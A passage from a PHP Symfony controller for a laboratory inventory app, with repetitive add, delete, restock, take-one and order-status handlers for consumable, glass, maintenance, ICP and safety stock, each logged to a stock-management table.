  2275. }
  2276. if (null !== $request->get('restock')){
  2277. if ($data) {
  2278. $info = $data['entry'];
  2279. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2280. 'id' => $data['entryid']
  2281. ]);
  2282. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2283. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2284. ->setLow((float)$info['low'])
  2285. ->setCritical((float)$info['critical'])
  2286. ->setStockname($info['name'])
  2287. ->setSupplier($info['supplier'])
  2288. ->setComment($info['comment'])
  2289. ->setUnits($info['units'])
  2290. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2291. // Create a new StockManagement entry when restocking
  2292. $mgmt = new StockManagement();
  2293. $mgmt->setStockId($entry->getId());
  2294. $mgmt->setStockName($entry->getStockname());
  2295. $mgmt->setSupplier($entry->getSupplier());
  2296. $mgmt->setComment($entry->getComment());
  2297. $mgmt->setStockType($entry->getType());
  2298. $mgmt->setActionType('Restock');
  2299. $mgmt->setQuantity((float)$data['entry']['qty']);
  2300. $mgmt->setTotalQuantity($entry->getQty());
  2301. $mgmt->setDate(new \Datetime());
  2302. $this->em->persist($entry);
  2303. $this->em->persist($mgmt);
  2304. $this->em->flush();
  2305. return $this->redirect($this->generateUrl('stock'));
  2306. }
  2307. }
  2308. if (null !== $request->get('takeone')){
  2309. if ($data) {
  2310. $info = $data['entryid'];
  2311. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2312. 'id' => $data['entryid']
  2313. ]);
  2314. $entry->setQty($entry->getQty() - 1);
  2315. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2316. // Create a new StockManagement entry when taking one
  2317. $mgmt = new StockManagement();
  2318. $mgmt->setStockId($entry->getId());
  2319. $mgmt->setStockName($entry->getStockname());
  2320. $mgmt->setSupplier($entry->getSupplier());
  2321. $mgmt->setComment($entry->getComment());
  2322. $mgmt->setStockType($entry->getType());
  2323. $mgmt->setActionType('Take One');
  2324. $mgmt->setQuantity(-1);
  2325. $mgmt->setTotalQuantity($entry->getQty());
  2326. $mgmt->setDate(new \Datetime());
  2327. $this->em->persist($entry);
  2328. $this->em->persist($mgmt);
  2329. $this->em->flush();
  2330. return $this->redirect($this->generateUrl('stock'));
  2331. }
  2332. }
  2333. // Handle 'orderstatus' checkbox change
  2334. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2335. $entryId = $data['entryid'];
  2336. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2337. // Find the Stock entry by ID
  2338. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2339. 'id' => $entryId
  2340. ]);
  2341. if ($entry) {
  2342. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2343. $this->em->persist($entry);
  2344. $this->em->flush();
  2345. return $this->redirect($this->generateUrl('stock'));
  2346. }
  2347. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2348. }
  2349. }
  2350. return $this->render('cats/stock.html.twig',[
  2351. 'stock' => $stock
  2352. ]);
  2353. }
  2354. //=====================================================================================================================================================================================<
  2355. /**
  2356. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2357. * @param Request $request
  2358. * @Route("/stockconsume", name="stockconsume")
  2359. * @return Response $response
  2360. */
  2361. public function stockconsume(Request $request)
  2362. {
  2363. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2364. 'type' => 'Consumable'
  2365. ]);
  2366. if ( $request->getMethod() == "POST" ) {
  2367. $data = $request->request->all();
  2368. if (null !== $request->get('addnew')){
  2369. if ($data) {
  2370. $info = $data['entry'];
  2371. $entry = new Stock();
  2372. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2373. ->setLow((float)$info['low'])
  2374. ->setCritical((float)$info['critical']);
  2375. $entry->setComment($info['comment']);
  2376. $entry->setSupplier($info['supplier']);
  2377. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2378. $entry->setUnits($info['units']);
  2379. $entry->setType("Consumable");
  2380. $this->em->persist($entry);
  2381. $this->em->flush();
  2382. // Create a new StockManagement entry when adding new entry
  2383. $mgmt = new StockManagement();
  2384. $mgmt->setStockId($entry->getId());
  2385. $mgmt->setStockName($entry->getStockname());
  2386. $mgmt->setSupplier($entry->getSupplier());
  2387. $mgmt->setComment($entry->getComment());
  2388. $mgmt->setStockType($entry->getType());
  2389. $mgmt->setActionType('Add new');
  2390. $mgmt->setQuantity($entry->getQty());
  2391. $mgmt->setTotalQuantity($entry->getQty());
  2392. $mgmt->setDate(new \Datetime());
  2393. $this->em->persist($mgmt);
  2394. $this->em->flush();
  2395. return $this->redirect($this->generateUrl('stockconsume'));
  2396. }
  2397. }
  2398. if (null !== $request->get('delete')){
  2399. if ($data) {
  2400. $info = $data['entryid'];
  2401. /*echo '<pre>';
  2402. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2403. die();*/
  2404. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2405. 'id' => $info
  2406. ]);
  2407. // Create a new StockManagement entry when deleting
  2408. $mgmt = new StockManagement();
  2409. $mgmt->setStockId($entry->getId());
  2410. $mgmt->setStockName($entry->getStockname());
  2411. $mgmt->setSupplier($entry->getSupplier());
  2412. $mgmt->setComment($entry->getComment());
  2413. $mgmt->setStockType($entry->getType());
  2414. $mgmt->setActionType('Delete');
  2415. $mgmt->setQuantity(0);
  2416. $mgmt->setTotalQuantity($entry->getQty());
  2417. $mgmt->setDate(new \Datetime());
  2418. $this->em->remove($entry);
  2419. $this->em->persist($mgmt);
  2420. $this->em->flush();
  2421. return $this->redirect($this->generateUrl('stockconsume'));
  2422. }
  2423. }
  2424. if (null !== $request->get('restock')){
  2425. if ($data) {
  2426. $info = $data['entry'];
  2427. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2428. 'id' => $data['entryid']
  2429. ]);
  2430. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2431. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2432. ->setLow((float)$info['low'])
  2433. ->setCritical((float)$info['critical']);
  2434. $entry->setStockname($info['name']);
  2435. $entry->setSupplier($info['supplier']);
  2436. $entry->setComment($info['comment']);
  2437. $entry->setUnits($info['units']);
  2438. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2439. // Create a new StockManagement entry when restocking
  2440. $mgmt = new StockManagement();
  2441. $mgmt->setStockId($entry->getId());
  2442. $mgmt->setStockName($entry->getStockname());
  2443. $mgmt->setSupplier($entry->getSupplier());
  2444. $mgmt->setComment($entry->getComment());
  2445. $mgmt->setStockType($entry->getType());
  2446. $mgmt->setActionType('Restock');
  2447. $mgmt->setQuantity((float)$data['entry']['qty']);
  2448. $mgmt->setTotalQuantity($entry->getQty());
  2449. $mgmt->setDate(new \Datetime());
  2450. $this->em->persist($entry);
  2451. $this->em->persist($mgmt);
  2452. $this->em->flush();
  2453. return $this->redirect($this->generateUrl('stockconsume'));
  2454. }
  2455. }
  2456. if (null !== $request->get('takeone')){
  2457. if ($data) {
  2458. $info = $data['entryid'];
  2459. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2460. 'id' => $data['entryid']
  2461. ]);
  2462. $entry->setQty($entry->getQty() - 1);
  2463. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2464. // Create a new StockManagement entry when taking one
  2465. $mgmt = new StockManagement();
  2466. $mgmt->setStockId($entry->getId());
  2467. $mgmt->setStockName($entry->getStockname());
  2468. $mgmt->setSupplier($entry->getSupplier());
  2469. $mgmt->setComment($entry->getComment());
  2470. $mgmt->setStockType($entry->getType());
  2471. $mgmt->setActionType('Take One');
  2472. $mgmt->setQuantity(-1);
  2473. $mgmt->setTotalQuantity($entry->getQty());
  2474. $mgmt->setDate(new \Datetime());
  2475. $this->em->persist($entry);
  2476. $this->em->persist($mgmt);
  2477. $this->em->flush();
  2478. return $this->redirect($this->generateUrl('stockconsume'));
  2479. }
  2480. }
  2481. // Handle 'orderstatus' checkbox change
  2482. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2483. $entryId = $data['entryid'];
  2484. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2485. // Find the Stock entry by ID
  2486. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2487. 'id' => $entryId
  2488. ]);
  2489. if ($entry) {
  2490. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2491. $this->em->persist($entry);
  2492. $this->em->flush();
  2493. return $this->redirect($this->generateUrl('stockconsume'));
  2494. }
  2495. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2496. }
  2497. }
  2498. return $this->render('cats/stockconsume.html.twig',[
  2499. 'stock' => $stock
  2500. ]);
  2501. }
  2502. //=====================================================================================================================================================================================<
  2503. /**
  2504. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2505. * @param Request $request
  2506. * @Route("/equipstock", name="equipstock")
  2507. * @return Response $response
  2508. */
  2509. public function equipstock(Request $request)
  2510. {
  2511. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2512. 'type' => 'Glass'
  2513. ]);
  2514. if ( $request->getMethod() == "POST" ) {
  2515. $data = $request->request->all();
  2516. if (null !== $request->get('addnew')){
  2517. if ($data) {
  2518. $info = $data['entry'];
  2519. $entry = new Stock();
  2520. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2521. ->setLow((float)$info['low'])
  2522. ->setCritical((float)$info['critical']);
  2523. $entry->setComment($info['comment']);
  2524. $entry->setSupplier($info['supplier']);
  2525. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2526. $entry->setUnits($info['units']);
  2527. $entry->setType("Glass");
  2528. $this->em->persist($entry);
  2529. $this->em->flush();
  2530. // Create a new StockManagement entry when adding new entry
  2531. $mgmt = new StockManagement();
  2532. $mgmt->setStockId($entry->getId());
  2533. $mgmt->setStockName($entry->getStockname());
  2534. $mgmt->setSupplier($entry->getSupplier());
  2535. $mgmt->setComment($entry->getComment());
  2536. $mgmt->setStockType($entry->getType());
  2537. $mgmt->setActionType('Add new');
  2538. $mgmt->setQuantity($entry->getQty());
  2539. $mgmt->setTotalQuantity($entry->getQty());
  2540. $mgmt->setDate(new \Datetime());
  2541. $this->em->persist($mgmt);
  2542. $this->em->flush();
  2543. return $this->redirect($this->generateUrl('equipstock'));
  2544. }
  2545. }
  2546. if (null !== $request->get('delete')){
  2547. if ($data) {
  2548. $info = $data['entryid'];
  2549. /*echo '<pre>';
  2550. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2551. die();*/
  2552. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2553. 'id' => $info
  2554. ]);
  2555. // Create a new StockManagement entry when deleting
  2556. $mgmt = new StockManagement();
  2557. $mgmt->setStockId($entry->getId());
  2558. $mgmt->setStockName($entry->getStockname());
  2559. $mgmt->setSupplier($entry->getSupplier());
  2560. $mgmt->setComment($entry->getComment());
  2561. $mgmt->setStockType($entry->getType());
  2562. $mgmt->setActionType('Delete');
  2563. $mgmt->setQuantity(0);
  2564. $mgmt->setTotalQuantity($entry->getQty());
  2565. $mgmt->setDate(new \Datetime());
  2566. $this->em->remove($entry);
  2567. $this->em->persist($mgmt);
  2568. $this->em->flush();
  2569. return $this->redirect($this->generateUrl('equipstock'));
  2570. }
  2571. }
  2572. if (null !== $request->get('restock')){
  2573. if ($data) {
  2574. $info = $data['entry'];
  2575. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2576. 'id' => $data['entryid']
  2577. ]);
  2578. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2579. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2580. ->setLow((float)$info['low'])
  2581. ->setCritical((float)$info['critical']);
  2582. $entry->setStockname($info['name']);
  2583. $entry->setSupplier($info['supplier']);
  2584. $entry->setComment($info['comment']);
  2585. $entry->setUnits($info['units']);
  2586. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2587. // Create a new StockManagement entry when restocking
  2588. $mgmt = new StockManagement();
  2589. $mgmt->setStockId($entry->getId());
  2590. $mgmt->setStockName($entry->getStockname());
  2591. $mgmt->setSupplier($entry->getSupplier());
  2592. $mgmt->setComment($entry->getComment());
  2593. $mgmt->setStockType($entry->getType());
  2594. $mgmt->setActionType('Restock');
  2595. $mgmt->setQuantity((float)$data['entry']['qty']);
  2596. $mgmt->setTotalQuantity($entry->getQty());
  2597. $mgmt->setDate(new \Datetime());
  2598. $this->em->persist($entry);
  2599. $this->em->persist($mgmt);
  2600. $this->em->flush();
  2601. return $this->redirect($this->generateUrl('equipstock'));
  2602. }
  2603. }
  2604. if (null !== $request->get('takeone')){
  2605. if ($data) {
  2606. $info = $data['entryid'];
  2607. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2608. 'id' => $data['entryid']
  2609. ]);
  2610. $entry->setQty($entry->getQty() - 1);
  2611. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2612. // Create a new StockManagement entry when taking one
  2613. $mgmt = new StockManagement();
  2614. $mgmt->setStockId($entry->getId());
  2615. $mgmt->setStockName($entry->getStockname());
  2616. $mgmt->setSupplier($entry->getSupplier());
  2617. $mgmt->setComment($entry->getComment());
  2618. $mgmt->setStockType($entry->getType());
  2619. $mgmt->setActionType('Take One');
  2620. $mgmt->setQuantity(-1);
  2621. $mgmt->setTotalQuantity($entry->getQty());
  2622. $mgmt->setDate(new \Datetime());
  2623. $this->em->persist($entry);
  2624. $this->em->persist($mgmt);
  2625. $this->em->flush();
  2626. return $this->redirect($this->generateUrl('equipstock'));
  2627. }
  2628. }
  2629. // Handle 'orderstatus' checkbox change
  2630. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2631. $entryId = $data['entryid'];
  2632. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2633. // Find the Stock entry by ID
  2634. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2635. 'id' => $entryId
  2636. ]);
  2637. if ($entry) {
  2638. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2639. $this->em->persist($entry);
  2640. $this->em->flush();
  2641. return $this->redirect($this->generateUrl('equipstock'));
  2642. }
  2643. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2644. }
  2645. }
  2646. return $this->render('cats/equipstock.html.twig',[
  2647. 'stock' => $stock
  2648. ]);
  2649. }
  2650. //=====================================================================================================================================================================================<
  2651. /**
  2652. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2653. * @param Request $request
  2654. * @Route("/stockMaintenance", name="stockMaintenance")
  2655. * @return Response $response
  2656. */
  2657. public function stockMaintenance(Request $request)
  2658. {
  2659. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2660. 'type' => 'Maintenance'
  2661. ]);
  2662. if ( $request->getMethod() == "POST" ) {
  2663. $data = $request->request->all();
  2664. if (null !== $request->get('addnew')){
  2665. if ($data) {
  2666. $info = $data['entry'];
  2667. $entry = new Stock();
  2668. $entry->setStockname($info['name'])
  2669. ->setSupplier($info['supplier'])
  2670. ->setFault($info['fault'])
  2671. ->setUnits($info['units'])
  2672. ->setQty(1)
  2673. ->setComment($info['comment'])
  2674. ->setDatemodified(new \DateTime($info['datemodified']))
  2675. ->setType("Maintenance");
  2676. $this->em->persist($entry);
  2677. $this->em->flush();
  2678. return $this->redirect($this->generateUrl('stockMaintenance'));
  2679. }
  2680. }
  2681. if (null !== $request->get('delete')){
  2682. if ($data) {
  2683. $info = $data['entryid'];
  2684. /*echo '<pre>';
  2685. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2686. die();*/
  2687. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2688. 'id' => $info
  2689. ]);
  2690. $this->em->remove($entry);
  2691. $this->em->flush();
  2692. return $this->redirect($this->generateUrl('stockMaintenance'));
  2693. }
  2694. }
  2695. if (null !== $request->get('restock')){
  2696. if ($data) {
  2697. $info = $data['entry'];
  2698. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2699. 'id' => $data['entryid']
  2700. ]);
  2701. $entry->setDatemodified(new \DateTime());
  2702. $entry->setStockname($info['name']);
  2703. $entry->setFault($info['fault']);
  2704. $entry->setSupplier($info['supplier']);
  2705. $entry->setComment($info['comment']);
  2706. $entry->setUnits($info['units']);
  2707. $this->em->persist($entry);
  2708. $this->em->flush();
  2709. return $this->redirect($this->generateUrl('stockMaintenance'));
  2710. }
  2711. }
  2712. }
  2713. return $this->render('cats/stockMaintenance.html.twig',[
  2714. 'stock' => $stock
  2715. ]);
  2716. }
  2717. //=====================================================================================================================================================================================<
  2718. /**
  2719. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2720. * @param Request $request
  2721. * @Route("/icpstock", name="icpstock")
  2722. * @return Response $response
  2723. */
  2724. public function icpstock(Request $request)
  2725. {
  2726. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2727. 'type' => 'ICP'
  2728. ]);
  2729. if ( $request->getMethod() == "POST" ) {
  2730. $data = $request->request->all();
  2731. if (null !== $request->get('addnew')){
  2732. if ($data) {
  2733. $info = $data['entry'];
  2734. $entry = new Stock();
  2735. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2736. ->setLow((float)$info['low'])
  2737. ->setCritical((float)$info['critical']);
  2738. $entry->setComment($info['comment']);
  2739. $entry->setSupplier($info['supplier']);
  2740. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2741. $entry->setUnits($info['units']);
  2742. $entry->setType("ICP");
  2743. $this->em->persist($entry);
  2744. $this->em->flush();
  2745. // Create a new StockManagement entry when adding new entry
  2746. $mgmt = new StockManagement();
  2747. $mgmt->setStockId($entry->getId());
  2748. $mgmt->setStockName($entry->getStockname());
  2749. $mgmt->setSupplier($entry->getSupplier());
  2750. $mgmt->setComment($entry->getComment());
  2751. $mgmt->setStockType($entry->getType());
  2752. $mgmt->setActionType('Add new');
  2753. $mgmt->setQuantity($entry->getQty());
  2754. $mgmt->setTotalQuantity($entry->getQty());
  2755. $mgmt->setDate(new \Datetime());
  2756. $this->em->persist($mgmt);
  2757. $this->em->flush();
  2758. return $this->redirect($this->generateUrl('icpstock'));
  2759. }
  2760. }
  2761. if (null !== $request->get('delete')){
  2762. if ($data) {
  2763. $info = $data['entryid'];
  2764. /*echo '<pre>';
  2765. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2766. die();*/
  2767. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2768. 'id' => $info
  2769. ]);
  2770. // Create a new StockManagement entry when deleting
  2771. $mgmt = new StockManagement();
  2772. $mgmt->setStockId($entry->getId());
  2773. $mgmt->setStockName($entry->getStockname());
  2774. $mgmt->setSupplier($entry->getSupplier());
  2775. $mgmt->setComment($entry->getComment());
  2776. $mgmt->setStockType($entry->getType());
  2777. $mgmt->setActionType('Delete');
  2778. $mgmt->setQuantity(0);
  2779. $mgmt->setTotalQuantity($entry->getQty());
  2780. $mgmt->setDate(new \Datetime());
  2781. $this->em->remove($entry);
  2782. $this->em->persist($mgmt);
  2783. $this->em->flush();
  2784. return $this->redirect($this->generateUrl('icpstock'));
  2785. }
  2786. }
  2787. if (null !== $request->get('restock')){
  2788. if ($data) {
  2789. $info = $data['entry'];
  2790. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2791. 'id' => $data['entryid']
  2792. ]);
  2793. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2794. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2795. ->setLow((float)$info['low'])
  2796. ->setCritical((float)$info['critical']);
  2797. $entry->setStockname($info['name']);
  2798. $entry->setSupplier($info['supplier']);
  2799. $entry->setComment($info['comment']);
  2800. $entry->setUnits($info['units']);
  2801. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2802. // Create a new StockManagement entry when restocking
  2803. $mgmt = new StockManagement();
  2804. $mgmt->setStockId($entry->getId());
  2805. $mgmt->setStockName($entry->getStockname());
  2806. $mgmt->setSupplier($entry->getSupplier());
  2807. $mgmt->setComment($entry->getComment());
  2808. $mgmt->setStockType($entry->getType());
  2809. $mgmt->setActionType('Restock');
  2810. $mgmt->setQuantity((float)$data['entry']['qty']);
  2811. $mgmt->setTotalQuantity($entry->getQty());
  2812. $mgmt->setDate(new \Datetime());
  2813. $this->em->persist($entry);
  2814. $this->em->persist($mgmt);
  2815. $this->em->flush();
  2816. return $this->redirect($this->generateUrl('icpstock'));
  2817. }
  2818. }
  2819. if (null !== $request->get('takeone')){
  2820. if ($data) {
  2821. $info = $data['entryid'];
  2822. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2823. 'id' => $data['entryid']
  2824. ]);
  2825. $entry->setQty($entry->getQty() - 1);
  2826. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2827. // Create a new StockManagement entry when taking one
  2828. $mgmt = new StockManagement();
  2829. $mgmt->setStockId($entry->getId());
  2830. $mgmt->setStockName($entry->getStockname());
  2831. $mgmt->setSupplier($entry->getSupplier());
  2832. $mgmt->setComment($entry->getComment());
  2833. $mgmt->setStockType($entry->getType());
  2834. $mgmt->setActionType('Take One');
  2835. $mgmt->setQuantity(-1);
  2836. $mgmt->setTotalQuantity($entry->getQty());
  2837. $mgmt->setDate(new \Datetime());
  2838. $this->em->persist($entry);
  2839. $this->em->persist($mgmt);
  2840. $this->em->flush();
  2841. return $this->redirect($this->generateUrl('icpstock'));
  2842. }
  2843. }
  2844. // Handle 'orderstatus' checkbox change
  2845. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2846. $entryId = $data['entryid'];
  2847. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2848. // Find the Stock entry by ID
  2849. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2850. 'id' => $entryId
  2851. ]);
  2852. if ($entry) {
  2853. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2854. $this->em->persist($entry);
  2855. $this->em->flush();
  2856. return $this->redirect($this->generateUrl('icpstock'));
  2857. }
  2858. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2859. }
  2860. }
  2861. return $this->render('cats/icpstock.html.twig',[
  2862. 'stock' => $stock
  2863. ]);
  2864. }
  2865. //=====================================================================================================================================================================================<
  2866. /**
  2867. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2868. * @param Request $request
  2869. * @Route("/icpstandardstock", name="icpstandardstock")
  2870. * @return Response $response
  2871. */
  2872. public function icpstandardstock(Request $request)
  2873. {
  2874. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2875. 'type' => 'ICP Standard'
  2876. ]);
  2877. if ( $request->getMethod() == "POST" ) {
  2878. $data = $request->request->all();
  2879. if (null !== $request->get('addnew')){
  2880. if ($data) {
  2881. $info = $data['entry'];
  2882. $entry = new Stock();
  2883. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2884. ->setLow((float)$info['low'])
  2885. ->setCritical((float)$info['critical']);
  2886. $entry->setComment($info['comment']);
  2887. $entry->setSupplier($info['supplier']);
  2888. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2889. $entry->setUnits($info['units']);
  2890. $entry->setType("ICP Standard");
  2891. $this->em->persist($entry);
  2892. $this->em->flush();
  2893. // Create a new StockManagement entry when adding new entry
  2894. $mgmt = new StockManagement();
  2895. $mgmt->setStockId($entry->getId());
  2896. $mgmt->setStockName($entry->getStockname());
  2897. $mgmt->setSupplier($entry->getSupplier());
  2898. $mgmt->setComment($entry->getComment());
  2899. $mgmt->setStockType($entry->getType());
  2900. $mgmt->setActionType('Add new');
  2901. $mgmt->setQuantity($entry->getQty());
  2902. $mgmt->setTotalQuantity($entry->getQty());
  2903. $mgmt->setDate(new \Datetime());
  2904. $this->em->persist($mgmt);
  2905. $this->em->flush();
  2906. return $this->redirect($this->generateUrl('icpstandardstock'));
  2907. }
  2908. }
  2909. if (null !== $request->get('delete')){
  2910. if ($data) {
  2911. $info = $data['entryid'];
  2912. /*echo '<pre>';
  2913. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2914. die();*/
  2915. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2916. 'id' => $info
  2917. ]);
  2918. // Create a new StockManagement entry when deleting
  2919. $mgmt = new StockManagement();
  2920. $mgmt->setStockId($entry->getId());
  2921. $mgmt->setStockName($entry->getStockname());
  2922. $mgmt->setSupplier($entry->getSupplier());
  2923. $mgmt->setComment($entry->getComment());
  2924. $mgmt->setStockType($entry->getType());
  2925. $mgmt->setActionType('Delete');
  2926. $mgmt->setQuantity(0);
  2927. $mgmt->setTotalQuantity($entry->getQty());
  2928. $mgmt->setDate(new \Datetime());
  2929. $this->em->remove($entry);
  2930. $this->em->persist($mgmt);
  2931. $this->em->flush();
  2932. return $this->redirect($this->generateUrl('icpstandardstock'));
  2933. }
  2934. }
  2935. if (null !== $request->get('restock')){
  2936. if ($data) {
  2937. $info = $data['entry'];
  2938. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2939. 'id' => $data['entryid']
  2940. ]);
  2941. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2942. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2943. ->setLow((float)$info['low'])
  2944. ->setCritical((float)$info['critical']);
  2945. $entry->setStockname($info['name']);
  2946. $entry->setSupplier($info['supplier']);
  2947. $entry->setComment($info['comment']);
  2948. $entry->setUnits($info['units']);
  2949. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2950. // Create a new StockManagement entry when restocking
  2951. $mgmt = new StockManagement();
  2952. $mgmt->setStockId($entry->getId());
  2953. $mgmt->setStockName($entry->getStockname());
  2954. $mgmt->setSupplier($entry->getSupplier());
  2955. $mgmt->setComment($entry->getComment());
  2956. $mgmt->setStockType($entry->getType());
  2957. $mgmt->setActionType('Restock');
  2958. $mgmt->setQuantity((float)$data['entry']['qty']);
  2959. $mgmt->setTotalQuantity($entry->getQty());
  2960. $mgmt->setDate(new \Datetime());
  2961. $this->em->persist($entry);
  2962. $this->em->persist($mgmt);
  2963. $this->em->flush();
  2964. return $this->redirect($this->generateUrl('icpstandardstock'));
  2965. }
  2966. }
  2967. if (null !== $request->get('takeone')){
  2968. if ($data) {
  2969. $info = $data['entryid'];
  2970. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2971. 'id' => $data['entryid']
  2972. ]);
  2973. $entry->setQty($entry->getQty() - 1);
  2974. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2975. // Create a new StockManagement entry when taking one
  2976. $mgmt = new StockManagement();
  2977. $mgmt->setStockId($entry->getId());
  2978. $mgmt->setStockName($entry->getStockname());
  2979. $mgmt->setSupplier($entry->getSupplier());
  2980. $mgmt->setComment($entry->getComment());
  2981. $mgmt->setStockType($entry->getType());
  2982. $mgmt->setActionType('Take One');
  2983. $mgmt->setQuantity(-1);
  2984. $mgmt->setTotalQuantity($entry->getQty());
  2985. $mgmt->setDate(new \Datetime());
  2986. $this->em->persist($entry);
  2987. $this->em->persist($mgmt);
  2988. $this->em->flush();
  2989. return $this->redirect($this->generateUrl('icpstandardstock'));
  2990. }
  2991. }
  2992. // Handle 'orderstatus' checkbox change
  2993. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2994. $entryId = $data['entryid'];
  2995. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2996. // Find the Stock entry by ID
  2997. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2998. 'id' => $entryId
  2999. ]);
  3000. if ($entry) {
  3001. $entry->setOrderstatus($orderStatus); // Update orderstatus
  3002. $this->em->persist($entry);
  3003. $this->em->flush();
  3004. return $this->redirect($this->generateUrl('icpstandardstock'));
  3005. }
  3006. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  3007. }
  3008. }
  3009. return $this->render('cats/icpstandardstock.html.twig',[
  3010. 'stock' => $stock
  3011. ]);
  3012. }
  3013. //=====================================================================================================================================================================================<
  3014. /**
  3015. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  3016. * @param Request $request
  3017. * @Route("/safestock", name="safestock")
  3018. * @return Response $response
  3019. */
  3020. public function safetystock(Request $request)
  3021. {
  3022. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  3023. 'type' => 'Safety'
  3024. ]);
  3025. if ( $request->getMethod() == "POST" ) {
  3026. $data = $request->request->all();
  3027. if (isset($data['addnew'])) {
  3028. if ($data) {
  3029. $info = $data['entry'];
  3030. $entry = new Stock();
  3031. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  3032. ->setLow((float)$info['low'])
  3033. ->setCritical((float)$info['critical']);
  3034. $entry->setComment($info['comment']);
  3035. $entry->setSupplier($info['supplier']);
  3036. $entry->setDatemodified(new \DateTime($info['datemodified']));
  3037. $entry->setUnits($info['units']);
  3038. $entry->setType("Safety");
  3039. $this->em->persist($entry);
  3040. $this->em->flush();
  3041. // Create a new StockManagement entry when adding new entry
  3042. $mgmt = new StockManagement();
  3043. $mgmt->setStockId($entry->getId());
  3044. $mgmt->setStockName($entry->getStockname());
